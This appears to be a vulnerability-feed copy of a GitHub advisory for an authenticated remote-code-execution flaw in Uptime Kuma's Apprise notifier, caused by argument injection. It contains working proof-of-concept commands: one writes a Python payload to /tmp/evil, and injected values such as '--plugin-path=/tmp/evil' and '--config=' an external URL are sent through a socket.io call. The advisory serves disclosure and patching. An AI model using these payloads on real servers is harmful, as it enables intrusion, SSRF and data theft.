VulnWatch by ve1ve2
high 8.7

GHSA-v2p3-6f5h-6hhf: Authenticated RCE via Apprise CLI Argument Injection (Missing -- Separator)

Source:
Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)
Published:
Fetched:
Updated:
Affects:
louislam uptime-kuma

https://github.com/louislam/uptime-kuma/security/advisories/GHSA-v2p3-6f5h-6hhf ↗

repo-advisoryotherCWE-88securityrepo:louislam/uptime-kuma

Authenticated RCE via Apprise CLI Argument Injection (Missing -- Separator) ### Summary The Apprise notification provider passes user-controlled appriseURL directly as a CLI argument to spawn("apprise", ...) without a -- separator. Any authenticated user can inject arbitrary CLI flags, including --plugin-path which loads and executes arbitrary Python files. Combined with any file-write primitive, this results in full RCE. Additionally, --config=URL enables authenticated SSRF. Argument injection confirmed on production (--help, --version return success; --config fetches external URLs; --plugin-path scans directories). ### Details In server/notification-providers/apprise.js lines 13-18: const args = ["-vv", "-b", msg, notification.appriseURL]; const s = await childProcessAsync.spawn("apprise", args, { encoding: "utf8" }); No -- separator before user input. Values starting with - are parsed as CLI flags by Apprise's click argument parser. --plugin-path=DIR scans for .py files and imports them as Python modules. Python executes module-level code at import time — before any notification URL validation. RCE fires even though Apprise exits with "no URLs" error. Fix: add "--" before notification.appriseURL (one line). ### Proof of concept Local reproduction (confirmed): mkdir -p /tmp/evil echo 'import os;os.system("id>/tmp/pwned.txt")' > /tmp/evil/pwn.py # Simulate exact UK spawn: node -e "require('child_process').spawn('apprise', ['-vv','-b','Test','--plugin-path=/tmp/evil']) .on('close',()=>console.log( require('fs').readFileSync('/tmp/pwned.txt','utf8')))" Output: uid=1000(sol) gid=1000(sol) groups=1000(sol) Production testing (authorized pentest, UK 2.5.3 Docker): appriseURL="--help" → ok=true "Sent Successfully" (flag parsed) appriseURL="--version" → ok=true "Sent Successfully" (flag parsed) appriseURL="--config=https://webhook.site/REDACTED" → Apprise POSTed to URL (SSRF) appriseURL="--plugin-path=/tmp" → exit 1, directory scanned Automated PoC via socket.io: sock.emit("testNotification", { type: "apprise", name: "rce", appriseURL: "--plugin-path=/tmp/evil", }, callback); // RCE executes before callback returns ### Impact With any file-write access: full RCE as UK process user. Read database, dump env vars (API keys, DB passwords), reverse shell, container escape if Docker socket mounted, persistent backdoor. Without file-write: authenticated SSRF via --config=URL (confirmed — Apprise fetches arbitrary URLs from server IP). The vulnerability is in the argument parsing, not in Apprise itself. Fix is one line: add "--" before user input. Affected packages: other:uptime-kuma Patched: uptime-kuma 2.5.8

Linked vulnerabilities (1)

CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:H

Authenticated RCE via Apprise CLI Argument Injection (Missing -- Separator)

CWE: CWE-88

Also reported by (1)